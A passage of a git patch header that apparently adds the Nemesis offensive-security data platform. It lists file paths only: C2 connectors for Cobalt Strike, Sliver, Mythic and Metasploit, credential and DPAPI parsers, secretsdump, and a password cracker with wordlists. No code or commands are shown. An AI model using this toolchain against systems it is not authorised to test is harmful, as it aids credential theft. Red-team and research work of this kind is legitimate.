From fe4e0d70a41ccfd9ac7ac241d5fba3db65eef804 Mon Sep 17 00:00:00 2001 From: Lee Christensen Date: Wed, 9 Aug 2023 13:14:44 -0700 Subject: [PATCH] commited for life --- LICENSE | 14 + README.md | 136 +- cmd/chrome-extension/.eslintrc.json | 30 + cmd/chrome-extension/.gitignore | 3 + cmd/chrome-extension/README.md | 53 + cmd/chrome-extension/assets/img/icon128.png | Bin 0 -> 8913 bytes .../assets/locales/en/messages.json | 11 + cmd/chrome-extension/package-lock.json | 22457 ++++ cmd/chrome-extension/package.json | 63 + cmd/chrome-extension/postcss.config.js | 3 + cmd/chrome-extension/src/index.js | 172 + cmd/chrome-extension/src/manifest.json | 32 + cmd/chrome-extension/src/options.html | 85 + cmd/chrome-extension/src/options.js | 76 + cmd/chrome-extension/src/storage.js | 7 + cmd/chrome-extension/styles.css | 3 + cmd/chrome-extension/tailwind.config.js | 20 + cmd/chrome-extension/test/sample.js | 6 + .../cobaltstrike-nemesis-connector/README.md | 53 + .../SSLUtils.jar | Bin 0 -> 2126 bytes .../SSLUtils.java | 51 + .../bof_reg_collect/Makefile | 13 + .../bof_reg_collect/README.md | 44 + .../bof_reg_collect/build/reg_collect.x64.o | Bin 0 -> 7023 bytes .../bof_reg_collect/build/reg_collect.x86.o | Bin 0 -> 7559 bytes .../bof_reg_collect/common/beacon.h | 71 + .../bof_reg_collect/common/bofdefs.h | 1224 + .../bof_reg_collect/common/queue.c | 75 + .../bof_reg_collect/common/upload_file.c | 90 + .../nemesis_reg_collect_parser.py | 106 + .../bof_reg_collect/reg_collect.cna | 41 + .../bof_reg_collect/src/entry.c | 273 + .../cobaltstrike-nemesis-connector/file.cna | 40 + .../helpers.cna | 118 + .../cobaltstrike-nemesis-connector/http.cna | 516 + .../json-java.jar | Bin 0 -> 70939 bytes .../cobaltstrike-nemesis-connector/json.cna | 229 + .../cobaltstrike-nemesis-connector/logger.cna | 49 + .../nemesis-connector.cna | 895 + .../cobaltstrike-nemesis-connector/ps.cna | 231 + cmd/connectors/metasploit-connector/README.md | 31 + .../metasploit-connector/modules/nemesis.rb | 195 + .../metasploit-connector/plugins/nemesis.rb | 190 + cmd/connectors/mythic-connector/Dockerfile | 9 + cmd/connectors/mythic-connector/LICENSE | 29 + cmd/connectors/mythic-connector/README.md | 45 + .../mythic-connector/docker-compose.yml | 10 + .../mythic-connector/requirements.txt | 6 + cmd/connectors/mythic-connector/settings.env | 10 + cmd/connectors/mythic-connector/start.sh | 2 + cmd/connectors/mythic-connector/sync.py | 905 + cmd/connectors/sliver-connector/.gitignore | 1 + cmd/connectors/sliver-connector/Dockerfile | 10 + cmd/connectors/sliver-connector/README.md | 44 + .../sliver-connector/docker-compose.yml | 8 + cmd/connectors/sliver-connector/generate.sh | 20 + .../sliver-connector/requirements.txt | 4 + cmd/connectors/sliver-connector/settings.env | 16 + .../sliver_service/__init__.py | 0 .../sliver_service/__main__.py | 174 + .../sliver_service/pb/clientpb/client_pb2.py | 297 + .../pb/clientpb/client_pb2_grpc.py | 4 + .../sliver_service/pb/commonpb/common_pb2.py | 36 + .../pb/commonpb/common_pb2_grpc.py | 4 + .../sliver_service/pb/dnspb/dns_pb2.py | 28 + .../sliver_service/pb/dnspb/dns_pb2_grpc.py | 4 + .../sliver_service/pb/rpcpb/services_pb2.py | 29 + .../pb/rpcpb/services_pb2_grpc.py | 5508 + .../sliver_service/pb/sliverpb/sliver_pb2.py | 399 + .../pb/sliverpb/sliver_pb2_grpc.py | 4 + .../sliver-connector/sliver_service/sliver.py | 205 + cmd/connectors/sliver-connector/start.sh | 2 + cmd/connectors/stage1-connector/.gitignore | 163 + cmd/connectors/stage1-connector/.isort.cfg | 16 + .../stage1-connector/.python-version | 1 + .../stage1-connector/.vscode/launch.json | 20 + .../stage1-connector/.vscode/settings.json | 66 + .../stage1-connector/.vscode/tasks.json | 17 + cmd/connectors/stage1-connector/Dockerfile | 2 + cmd/connectors/stage1-connector/README.md | 12 + .../nemesis_connector/__init__.py | 0 .../nemesis_connector/config.toml | 1 + .../nemesis_connector/nemesis_connector.py | 420 + cmd/connectors/stage1-connector/poetry.lock | 690 + cmd/connectors/stage1-connector/poetry.toml | 3 + .../stage1-connector/pyproject.toml | 25 + cmd/connectors/stage1-connector/pytest.ini | 6 + .../stage1-connector/tests/__init__.py | 0 cmd/dashboard/.flake8 | 9 + cmd/dashboard/.vscode/extensions.json | 16 + cmd/dashboard/.vscode/launch.json | 29 + cmd/dashboard/.vscode/settings.json | 64 + cmd/dashboard/.vscode/tasks.json | 12 + cmd/dashboard/README.md | 7 + .../dashboard/.streamlit/config.toml | 4 + cmd/dashboard/dashboard/Nemesis.py | 126 + cmd/dashboard/dashboard/__init__.py | 0 cmd/dashboard/dashboard/css/files_style.css | 140 + cmd/dashboard/dashboard/img/nemesis_logo.png | Bin 0 -> 44155 bytes .../dashboard/pages/1_Document Search.py | 200 + cmd/dashboard/dashboard/pages/2_Files.py | 589 + cmd/dashboard/dashboard/pages/3_Chromium.py | 592 + cmd/dashboard/dashboard/pages/4_DPAPI.py | 224 + .../dashboard/pages/5_Credentials.py | 201 + .../dashboard/pages/6_NoseyParker.py | 82 + cmd/dashboard/dashboard/pages/7_Hashes.py | 76 + cmd/dashboard/dashboard/templates.py | 347 + cmd/dashboard/dashboard/utils.py | 899 + cmd/dashboard/poetry.lock | 2382 + cmd/dashboard/poetry.toml | 3 + cmd/dashboard/pyproject.toml | 59 + cmd/dashboard/pyrightconfig.json | 40 + cmd/dashboard/pytest.ini | 6 + cmd/dashboard/tests/__init__.py | 0 cmd/dotnet/.flake8 | 8 + cmd/dotnet/.python-version | 1 + cmd/dotnet/.vscode/extensions.json | 16 + cmd/dotnet/.vscode/launch.json | 25 + cmd/dotnet/.vscode/settings.json | 64 + cmd/dotnet/.vscode/tasks.json | 12 + cmd/dotnet/README.md | 5 + cmd/dotnet/dotnet/__init__.py | 0 cmd/dotnet/dotnet/__main__.py | 13 + cmd/dotnet/dotnet/app.py | 72 + .../InspectAssembly/InspectAssembly.deps.json | 1269 + .../InspectAssembly/InspectAssembly.dll | Bin 0 -> 19456 bytes .../InspectAssembly.runtimeconfig.json | 12 + .../InspectAssembly/Mono.Cecil.Mdb.dll | Bin 0 -> 39424 bytes .../InspectAssembly/Mono.Cecil.Pdb.dll | Bin 0 -> 89600 bytes .../InspectAssembly/Mono.Cecil.Rocks.dll | Bin 0 -> 24576 bytes .../services/InspectAssembly/Mono.Cecil.dll | Bin 0 -> 356864 bytes .../InspectAssembly/Newtonsoft.Json.dll | Bin 0 -> 695336 bytes cmd/dotnet/dotnet/services/dotnet.py | 121 + cmd/dotnet/dotnet/settings.py | 8 + cmd/dotnet/poetry.lock | 1991 + cmd/dotnet/poetry.toml | 3 + cmd/dotnet/pyproject.toml | 65 + cmd/dotnet/pyrightconfig.json | 40 + cmd/dotnet/tests/__init__.py | 0 cmd/dotnet/tests/dotnet_test.py | 7 + cmd/enrichment/.dockerignore | 27 + cmd/enrichment/.env.example | 37 + cmd/enrichment/.flake8 | 9 + cmd/enrichment/.gitignore | 163 + cmd/enrichment/.python-version | 1 + cmd/enrichment/.vscode/extensions.json | 17 + cmd/enrichment/.vscode/launch.json | 60 + cmd/enrichment/.vscode/settings.json | 64 + cmd/enrichment/.vscode/tasks.json | 12 + cmd/enrichment/README.md | 33 + cmd/enrichment/enrichment/__main__.py | 14 + cmd/enrichment/enrichment/bootstrap.py | 143 + .../cli/submit_to_nemesis/__main__.py | 54 + .../submit_to_nemesis/submit_to_nemesis.py | 668 + .../submit_to_nemesis/submit_to_nemesis.yaml | 10 + cmd/enrichment/enrichment/containers.py | 653 + cmd/enrichment/enrichment/lib/canaries.py | 104 + .../enrichment/lib/ext_tools/DPAPImk2john.py | 980 + .../enrichment/lib/ext_tools/LICENSE | 59 + .../enrichment/lib/ext_tools/office2john.py | 3193 + .../enrichment/lib/ext_tools/pdf2john.py | 334 + .../enrichment/lib/file_parsers/Meta.py | 38 + .../lib/file_parsers/appsettings.py | 150 + .../enrichment/lib/file_parsers/archive.py | 157 + .../lib/file_parsers/chromium_cookies.py | 62 + .../lib/file_parsers/chromium_history.py | 67 + .../lib/file_parsers/chromium_logins.py | 62 + .../lib/file_parsers/chromium_state_file.py | 98 + .../lib/file_parsers/dotnet_assembly.py | 293 + .../lib/file_parsers/dpapi_masterkey.py | 95 + .../file_parsers/group_policy_preferences.py | 147 + .../enrichment/lib/file_parsers/lnk.py | 100 + .../lib/file_parsers/mcafee_sitelist.py | 190 + .../lib/file_parsers/office_doc_new.py | 135 + .../lib/file_parsers/office_doc_ole.py | 151 + .../enrichment/lib/file_parsers/passwd.py | 77 + .../enrichment/lib/file_parsers/pdf.py | 101 + .../enrichment/lib/file_parsers/pe.py | 166 + .../lib/file_parsers/reg_hive_sam.py | 82 + .../lib/file_parsers/reg_hive_security.py | 85 + .../lib/file_parsers/reg_hive_system.py | 60 + .../enrichment/lib/file_parsers/shadow.py | 101 + .../lib/file_parsers/slack_downloads.py | 84 + .../lib/file_parsers/slack_workspaces.py | 67 + .../lib/file_parsers/sqlite_sample.py | 111 + .../enrichment/lib/file_parsers/tomcat.py | 94 + .../enrichment/lib/file_parsers/web_config.py | 127 + .../lib/file_parsers/yara/appsettings.yara | 10 + .../file_parsers/yara/chromium_cookies.yara | 11 + .../file_parsers/yara/chromium_history.yara | 11 + .../file_parsers/yara/chromium_logins.yara | 11 + .../yara/chromium_state_file.yara | 10 + .../file_parsers/yara/dotnet_assembly.yara | 7 + .../lib/file_parsers/yara/dpapi_blob.yara | 10 + .../file_parsers/yara/dpapi_masterkey.yara | 7 + .../yara/group_policy_preferences.yara | 9 + .../file_parsers/yara/mcafee_sitelist.yara | 7 + .../lib/file_parsers/yara/office_doc_new.yara | 12 + .../lib/file_parsers/yara/office_doc_ole.yara | 8 + .../lib/file_parsers/yara/passwd.yara | 7 + .../enrichment/lib/file_parsers/yara/pe.yara | 7 + .../lib/file_parsers/yara/seatbelt_json.yara | 7 + .../lib/file_parsers/yara/shadow.yara | 7 + .../file_parsers/yara/slack_downloads.yara | 10 + .../file_parsers/yara/slack_workspaces.yara | 9 + .../lib/file_parsers/yara/tomcat.yara | 8 + .../lib/file_parsers/yara/web_config.yara | 8 + cmd/enrichment/enrichment/lib/helpers.py | 1172 + cmd/enrichment/enrichment/lib/nemesis_db.py | 1487 + .../lib/public_yara/elastic-agent-rules.yara | 4783 + cmd/enrichment/enrichment/lib/registry.py | 313 + cmd/enrichment/enrichment/lib/secretsdump.py | 3441 + .../enrichment/services/text_extractor.py | 54 + cmd/enrichment/enrichment/settings.py | 90 + .../enrichment/tasks/chromium_cookie.py | 225 + .../enrichment/tasks/dpapi/dpapi.py | 875 + .../enrichment/tasks/dpapi/dpapi_blob.py | 336 + .../enrichment/tasks/dpapi/masterkey.py | 237 + .../enrichment/tasks/elastic_connector.py | 339 + .../enrichment/tasks/file_processor.py | 1186 + .../postgres_connector/postgres_connector.py | 629 + .../postgres_connector/registry_path_utils.py | 127 + .../postgres_connector/registry_watcher.py | 238 + .../tasks/process_categorizer/categorizer.py | 80 + .../process_categorizer/data/access_tools.csv | 47 + .../process_categorizer/data/browsers.csv | 7 + .../data/infrastructure.csv | 26 + .../data/misc_awareness.csv | 5 + .../tasks/process_categorizer/data/other.csv | 221 + .../data/security_products.csv | 679 + .../process_categorizer.py | 69 + .../raw_data_tag/bof_reg_collect_parser.py | 124 + .../raw_data_tag/dpapi_domain_backupkey.py | 75 + .../tasks/raw_data_tag/raw_data_tag.py | 187 + .../tasks/raw_data_tag/seatbelt_datatypes.py | 470 + .../tasks/raw_data_tag/seatbelt_json.py | 262 + .../enrichment/tasks/registry_hive.py | 89 + .../tasks/service_categorizer/categorizer.py | 68 + .../data/win10_default.tsv | 253 + .../service_categorizer.py | 66 + .../enrichment/tasks/slack_webhook_alerter.py | 58 + .../tasks/webapi/crack_list/__init__.py | 0 .../webapi/crack_list/client_wordlists.py | 49 + .../tasks/webapi/crack_list/cracklist_api.py | 85 + .../tasks/webapi/crack_list/dictionary.py | 25 + .../tasks/webapi/crack_list/wordlist.py | 71 + .../enrichment/tasks/webapi/landingpage.py | 65 + .../enrichment/tasks/webapi/ml_models_api.py | 332 + .../enrichment/tasks/webapi/nemesis_api.py | 448 + .../enrichment/tasks/webapi/yara_api.py | 125 + cmd/enrichment/poetry.lock | 4047 + cmd/enrichment/poetry.toml | 3 + cmd/enrichment/pyproject.toml | 100 + cmd/enrichment/pyrightconfig.json | 40 + cmd/enrichment/pytest.ini | 6 + cmd/enrichment/tests/__init__.py | 0 cmd/enrichment/tests/conftest.py | 51 + cmd/enrichment/tests/services/__init__.py | 0 .../services/postgres_connector/__init__.py | 0 .../services/postgres_connector/conftest.py | 87 + .../postgres_connector/data/fileinfo.ndjson | 1 + .../postgres_connector/data/osinfo.ndjson | 1 + .../data/registryvalue_services.ndjson | 41 + .../test_seatbelt_datatypes.py | 63 + .../services/process_categorizer/__init__.py | 0 .../process_categorizer/data/browsers.csv | 2 + .../data/security_products.csv | 2 + .../test_process_categorizer.py | 24 + .../services/raw_data_tag_service/conftest.py | 85 + .../raw_data_tag_service/test_service.py | 96 + .../tests/services/web_api/test_main.py | 221 + cmd/nlp/.flake8 | 7 + cmd/nlp/.gitignore | 163 + cmd/nlp/.python-version | 1 + cmd/nlp/.vscode/extensions.json | 16 + cmd/nlp/.vscode/launch.json | 22 + cmd/nlp/.vscode/settings.json | 64 + cmd/nlp/.vscode/tasks.json | 12 + cmd/nlp/README.md | 0 cmd/nlp/nlp/__init__.py | 0 cmd/nlp/nlp/__main__.py | 74 + cmd/nlp/nlp/app.py | 106 + cmd/nlp/nlp/services/indexing.py | 87 + cmd/nlp/nlp/services/semantic_search.py | 135 + cmd/nlp/nlp/settings.py | 17 + cmd/nlp/poetry.lock | 3313 + cmd/nlp/poetry.toml | 3 + cmd/nlp/pyproject.toml | 70 + cmd/nlp/pyrightconfig.json | 37 + cmd/nlp/tests/__init__.py | 0 cmd/passwordcracker/.dockerignore | 27 + cmd/passwordcracker/.env.example | 8 + cmd/passwordcracker/.flake8 | 9 + cmd/passwordcracker/.gitignore | 163 + cmd/passwordcracker/.python-version | 1 + cmd/passwordcracker/.vscode/extensions.json | 16 + cmd/passwordcracker/.vscode/launch.json | 22 + cmd/passwordcracker/.vscode/settings.json | 64 + cmd/passwordcracker/.vscode/tasks.json | 12 + cmd/passwordcracker/README.md | 33 + .../passwordcracker/__main__.py | 14 + .../passwordcracker/bootstrap.py | 100 + .../passwordcracker/containers.py | 102 + .../services/john_the_ripper_cracker.py | 93 + .../passwordcracker/settings.py | 21 + .../passwordcracker/tasks/password_cracker.py | 128 + .../passwordcracker/wordlists/top_10000.txt | 10001 ++ .../passwordcracker/wordlists/top_100000.txt | 100001 +++++++++++++++ cmd/passwordcracker/poetry.lock | 3903 + cmd/passwordcracker/poetry.toml | 3 + cmd/passwordcracker/pyproject.toml | 94 + cmd/passwordcracker/pyrightconfig.json | 40 + cmd/passwordcracker/pytest.ini | 6 + cmd/passwordcracker/tests/__init__.py | 0 .../models/bilstm_model/1/keras_metadata.pb | 22 + .../models/bilstm_model/1/saved_model.pb | Bin 0 -> 6032087 bytes .../1/variables/variables.data-00000-of-00001 | Bin 0 -> 4280662 bytes .../bilstm_model/1/variables/variables.index | Bin 0 -> 2983 bytes cmd/tensorflow-serving/models/models.config | 7 + dockerfiles/dashboard.Dockerfile | 53 + dockerfiles/dotnet.Dockerfile | 71 + dockerfiles/enrichment.Dockerfile | 89 + dockerfiles/kibana.Dockerfile | 6 + dockerfiles/nlp.Dockerfile | 64 + dockerfiles/passwordcracker.Dockerfile | 59 + dockerfiles/tensorflow-serving.Dockerfile | 10 + docs/development.md | 139 + docs/elasticsearch-kibana.md | 113 + docs/images/kibana-get-es-request.png | Bin 0 -> 301034 bytes docs/kubernetes.md | 27 + docs/new_odr_datatype.md | 34 + docs/new_seatbelt_datatype_ingestion.md | 21 + docs/new_service.md | 13 + docs/odr/README.md | 75 + docs/odr/references/authentication_data.md | 88 + docs/odr/references/cookie.md | 66 + docs/odr/references/file_data.md | 42 + docs/odr/references/file_information.md | 62 + docs/odr/references/host_data/named_pipe.md | 21 + docs/odr/references/host_data/process.md | 100 + .../references/host_data/registry_value.md | 64 + docs/odr/references/host_data/service.md | 92 + docs/odr/references/network_connection.md | 72 + docs/odr/references/path_list.md | 46 + docs/odr/references/raw_data.md | 41 + docs/overview.md | 57 + docs/postgres.md | 17 + docs/rabbitmq.md | 29 + docs/setup.md | 237 + img/nemesis_white.png | Bin 0 -> 24228 bytes kubernetes/dashboard/deployment.yaml | 111 + kubernetes/dashboard/ingress.yaml | 23 + kubernetes/dashboard/service.yaml | 18 + kubernetes/dotnet/deployment.yaml | 99 + kubernetes/dotnet/service.yaml | 22 + kubernetes/elastic/elasticsearch.yaml | 138 + kubernetes/elastic/ingress.yaml | 47 + kubernetes/elastic/kibana.yaml | 182 + kubernetes/enrichment/configmap.yml | 111 + kubernetes/enrichment/deployment.yaml | 221 + kubernetes/enrichment/ingress.yaml | 44 + kubernetes/enrichment/service.yaml | 75 + kubernetes/gotenberg/deployment.yaml | 55 + kubernetes/gotenberg/network.yml | 12 + kubernetes/gotenberg/service.yaml | 17 + kubernetes/helm/values/ingress-nginx.yaml | 1 + kubernetes/metrics-server/metrics-server.yaml | 198 + kubernetes/minio/ingress.yaml | 22 + kubernetes/monitoring/alertmanager.yaml | 309 + .../monitoring/elasticsearch-exporter.yaml | 87 + kubernetes/monitoring/fluentd.yaml | 141 + kubernetes/monitoring/grafana.yaml | 120 + kubernetes/monitoring/ingress.yaml | 38 + kubernetes/monitoring/kube-state-metrics.yaml | 230 + .../monitoring/kubernetes-node-exporter.yaml | 73 + ...etes-node-exporter.yaml.docker_for_windows | 73 + kubernetes/monitoring/postgres-exporter.yaml | 76 + kubernetes/monitoring/prometheus.yaml | 750 + kubernetes/nlp/deployment.yaml | 124 + kubernetes/nlp/service.yaml | 18 + kubernetes/passwordcracker/deployment.yaml | 92 + kubernetes/passwordcracker/service.yaml | 18 + kubernetes/pgadmin/configmap.yaml | 26 + kubernetes/pgadmin/ingress.yaml | 24 + kubernetes/pgadmin/service.yaml | 15 + kubernetes/pgadmin/statefulset.yaml | 63 + kubernetes/postgres/configmap.yaml | 473 + kubernetes/postgres/deployment.yaml | 87 + kubernetes/postgres/service.yaml | 15 + kubernetes/rabbitmq/NOTE.md | 1 + kubernetes/rabbitmq/configmap.yaml | 35 + kubernetes/rabbitmq/ingress.yaml | 23 + kubernetes/rabbitmq/rbac.yaml | 40 + kubernetes/rabbitmq/service-discovery.yaml | 27 + kubernetes/rabbitmq/service.yaml | 25 + kubernetes/rabbitmq/statefulset.yaml | 206 + kubernetes/tensorflow-serving/deployment.yaml | 37 + kubernetes/tensorflow-serving/service.yaml | 18 + kubernetes/tika/configmap.yaml | 15 + kubernetes/tika/deployment.yaml | 52 + kubernetes/tika/service.yaml | 17 + monitoring/grafana-dashboards.yaml | 10548 ++ nemesis-cli.py | 1039 + packages/protobufs/nemesis.proto | 1799 + packages/python/nemesiscommon/.flake8 | 8 + packages/python/nemesiscommon/.gitignore | 164 + packages/python/nemesiscommon/.python-version | 1 + .../python/nemesiscommon/.vscode/launch.json | 15 + .../nemesiscommon/.vscode/settings.json | 53 + .../nemesiscommon/nemesiscommon/__init__.py | 0 .../nemesiscommon/nemesiscommon/apiclient.py | 186 + .../nemesiscommon/nemesiscommon/constants.py | 172 + .../nemesiscommon/nemesiscommon/helpers.py | 38 + .../nemesiscommon/nemesiscommon/logging.py | 76 + .../nemesiscommon/nemesiscommon/messaging.py | 58 + .../nemesiscommon/messaging_rabbitmq.py | 218 + .../nemesiscommon/mocks/__init__.py | 0 .../nemesiscommon/mocks/storage.py | 58 + .../nemesiscommon/nemesis_tempfile.py | 28 + .../nemesiscommon/services/alerter.py | 71 + .../nemesiscommon/nemesiscommon/settings.py | 98 + .../nemesiscommon/setupqueues.py | 67 + .../nemesiscommon/socketwaiter.py | 48 + .../nemesiscommon/nemesiscommon/storage.py | 33 + .../nemesiscommon/storage_minio.py | 67 + .../nemesiscommon/nemesiscommon/storage_s3.py | 186 + .../nemesiscommon/nemesiscommon/tasking.py | 51 + packages/python/nemesiscommon/poetry.lock | 1704 + packages/python/nemesiscommon/poetry.toml | 2 + packages/python/nemesiscommon/pyproject.toml | 66 + .../python/nemesiscommon/pyrightconfig.json | 39 + packages/python/nemesiscommon/pytest.ini | 6 + .../python/nemesiscommon/tests/__init__.py | 0 .../tests/rabbitmqconsumer_test.py | 84 + packages/python/nemesispb/.gitignore | 164 + packages/python/nemesispb/README.md | 5 + packages/python/nemesispb/__init.py__ | 0 packages/python/nemesispb/build.sh | 18 + .../python/nemesispb/nemesispb/__init__.py | 1 + .../python/nemesispb/nemesispb/nemesis_pb2.py | 309 + .../nemesispb/nemesispb/nemesis_pb2.pyi | 4574 + packages/python/nemesispb/poetry.lock | 58 + packages/python/nemesispb/pyproject.toml | 19 + .../Google/Chrome/User Data/Default/Cookies | Bin 0 -> 40960 bytes .../Google/Chrome/User Data/Default/History | Bin 0 -> 155648 bytes .../Chrome/User Data/Default/Login Data | Bin 0 -> 47104 bytes .../Local/Google/Chrome/User Data/Local State | 1 + .../ab998260-e99d-4871-8f4b-d922b2848ce6 | Bin 0 -> 740 bytes sample_files/SiteList.xml | 27 + sample_files/appsettings.json | 12 + sample_files/dotnet_assembly.exe | Bin 0 -> 5120 bytes sample_files/dpapi_blob.bin | Bin 0 -> 154 bytes sample_files/dpapi_blob_b64.txt | 3 + sample_files/dpapi_domain_backupkey.json | 5 + sample_files/enc_pdf_test.pdf | Bin 0 -> 15699 bytes sample_files/enc_pdf_uncrackable.pdf | Bin 0 -> 32610 bytes sample_files/enc_zip_test.zip | Bin 0 -> 1200 bytes sample_files/groups.xml | 9 + sample_files/nosey_parker_google.config | 12 + sample_files/office_doc_new.docx | Bin 0 -> 11942 bytes sample_files/office_doc_new_enc.docx | Bin 0 -> 18432 bytes sample_files/office_doc_ole.doc | Bin 0 -> 9216 bytes sample_files/office_doc_ole_enc.doc | Bin 0 -> 22528 bytes sample_files/passwd | 36 + sample_files/pdf_test.pdf | Bin 0 -> 15009 bytes sample_files/sample.png | Bin 0 -> 126991 bytes .../seatbelt/seatbelt_fileinfo.ndjson | 1 + sample_files/seatbelt/seatbelt_osinfo.ndjson | 1 + .../seatbelt_registryvalue_service.ndjson | 9 + sample_files/seatbelt/seatbelt_service.ndjson | 1 + sample_files/services.json | 24 + sample_files/shadow | 35 + sample_files/shortcut.lnk | Bin 0 -> 903 bytes .../structured/authentication_data.json | 20 + sample_files/structured/cookies.json | 43 + sample_files/structured/file_data.json | 19 + .../structured/file_information1.json | 20 + .../structured/file_information2.json | 24 + .../structured/network_connections.json | 38 + sample_files/structured/path_list.json | 32 + sample_files/structured/process_data.json | 46 + sample_files/structured/registry_value.json | 147 + sample_files/structured/services.json | 36 + sample_files/tomcat-users.xml | 8 + sample_files/web.config | 16 + sample_files/zip_test.zip | Bin 0 -> 1632 bytes scripts/build_protobufs.sh | 9 + scripts/dashboard_start.sh | 6 + scripts/infra_start.sh | 5 + scripts/interact.sh | 18 + scripts/pod_resource_usage.sh | 3 + scripts/pull_images.sh | 37 + scripts/services_start.sh | 11 + scripts/submit_to_nemesis.sh | 6 + scripts/total_memory.sh | 5 + scripts/watch_pods.sh | 3 + skaffold.yaml | 276 + 497 files changed, 229601 insertions(+), 2 deletions(-) create mode 100644 LICENSE create mode 100644 cmd/chrome-extension/.eslintrc.json create mode 100644 cmd/chrome-extension/.gitignore create mode 100644 cmd/chrome-extension/README.md create mode 100644 cmd/chrome-extension/assets/img/icon128.png create mode 100644 cmd/chrome-extension/assets/locales/en/messages.json create mode 100644 cmd/chrome-extension/package-lock.json create mode 100644 cmd/chrome-extension/package.json create mode 100644 cmd/chrome-extension/postcss.config.js create mode 100644 cmd/chrome-extension/src/index.js create mode 100644 cmd/chrome-extension/src/manifest.json create mode 100644 cmd/chrome-extension/src/options.html create mode 100644 cmd/chrome-extension/src/options.js create mode 100644 cmd/chrome-extension/src/storage.js create mode 100644 cmd/chrome-extension/styles.css create mode 100644 cmd/chrome-extension/tailwind.config.js create mode 100644 cmd/chrome-extension/test/sample.js create mode 100755 cmd/connectors/cobaltstrike-nemesis-connector/README.md create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/SSLUtils.jar create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/SSLUtils.java create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/Makefile create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/README.md create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x64.o create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x86.o create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/beacon.h create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/bofdefs.h create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c create mode 100755 cmd/connectors/cobaltstrike-nemesis-connector/file.cna create mode 100755 cmd/connectors/cobaltstrike-nemesis-connector/helpers.cna create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/http.cna create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/json-java.jar create mode 100755 cmd/connectors/cobaltstrike-nemesis-connector/json.cna create mode 100755 cmd/connectors/cobaltstrike-nemesis-connector/logger.cna create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/nemesis-connector.cna create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/ps.cna create mode 100644 cmd/connectors/metasploit-connector/README.md create mode 100644 cmd/connectors/metasploit-connector/modules/nemesis.rb create mode 100644 cmd/connectors/metasploit-connector/plugins/nemesis.rb create mode 100644 cmd/connectors/mythic-connector/Dockerfile create mode 100644 cmd/connectors/mythic-connector/LICENSE create mode 100644 cmd/connectors/mythic-connector/README.md create mode 100644 cmd/connectors/mythic-connector/docker-compose.yml create mode 100644 cmd/connectors/mythic-connector/requirements.txt create mode 100644 cmd/connectors/mythic-connector/settings.env create mode 100644 cmd/connectors/mythic-connector/start.sh create mode 100644 cmd/connectors/mythic-connector/sync.py create mode 100644 cmd/connectors/sliver-connector/.gitignore create mode 100644 cmd/connectors/sliver-connector/Dockerfile create mode 100644 cmd/connectors/sliver-connector/README.md create mode 100644 cmd/connectors/sliver-connector/docker-compose.yml create mode 100644 cmd/connectors/sliver-connector/generate.sh create mode 100644 cmd/connectors/sliver-connector/requirements.txt create mode 100644 cmd/connectors/sliver-connector/settings.env create mode 100644 cmd/connectors/sliver-connector/sliver_service/__init__.py create mode 100644 cmd/connectors/sliver-connector/sliver_service/__main__.py create mode 100644 cmd/connectors/sliver-connector/sliver_service/pb/clientpb/client_pb2.py create mode 100644 cmd/connectors/sliver-connector/sliver_service/pb/clientpb/client_pb2_grpc.py create mode 100644 cmd/connectors/sliver-connector/sliver_service/pb/commonpb/common_pb2.py create mode 100644 cmd/connectors/sliver-connector/sliver_service/pb/commonpb/common_pb2_grpc.py create mode 100644 cmd/connectors/sliver-connector/sliver_service/pb/dnspb/dns_pb2.py create mode 100644 cmd/connectors/sliver-connector/sliver_service/pb/dnspb/dns_pb2_grpc.py create mode 100644 cmd/connectors/sliver-connector/sliver_service/pb/rpcpb/services_pb2.py create mode 100644 cmd/connectors/sliver-connector/sliver_service/pb/rpcpb/services_pb2_grpc.py create mode 100644 cmd/connectors/sliver-connector/sliver_service/pb/sliverpb/sliver_pb2.py create mode 100644 cmd/connectors/sliver-connector/sliver_service/pb/sliverpb/sliver_pb2_grpc.py create mode 100644 cmd/connectors/sliver-connector/sliver_service/sliver.py create mode 100644 cmd/connectors/sliver-connector/start.sh create mode 100644 cmd/connectors/stage1-connector/.gitignore create mode 100644 cmd/connectors/stage1-connector/.isort.cfg create mode 100644 cmd/connectors/stage1-connector/.python-version create mode 100644 cmd/connectors/stage1-connector/.vscode/launch.json create mode 100644 cmd/connectors/stage1-connector/.vscode/settings.json create mode 100644 cmd/connectors/stage1-connector/.vscode/tasks.json create mode 100644 cmd/connectors/stage1-connector/Dockerfile create mode 100644 cmd/connectors/stage1-connector/README.md create mode 100644 cmd/connectors/stage1-connector/nemesis_connector/__init__.py create mode 100644 cmd/connectors/stage1-connector/nemesis_connector/config.toml create mode 100644 cmd/connectors/stage1-connector/nemesis_connector/nemesis_connector.py create mode 100644 cmd/connectors/stage1-connector/poetry.lock create mode 100644 cmd/connectors/stage1-connector/poetry.toml create mode 100644 cmd/connectors/stage1-connector/pyproject.toml create mode 100644 cmd/connectors/stage1-connector/pytest.ini create mode 100644 cmd/connectors/stage1-connector/tests/__init__.py create mode 100644 cmd/dashboard/.flake8 create mode 100644 cmd/dashboard/.vscode/extensions.json create mode 100644 cmd/dashboard/.vscode/launch.json create mode 100644 cmd/dashboard/.vscode/settings.json create mode 100644 cmd/dashboard/.vscode/tasks.json create mode 100644 cmd/dashboard/README.md create mode 100644 cmd/dashboard/dashboard/.streamlit/config.toml create mode 100644 cmd/dashboard/dashboard/Nemesis.py create mode 100644 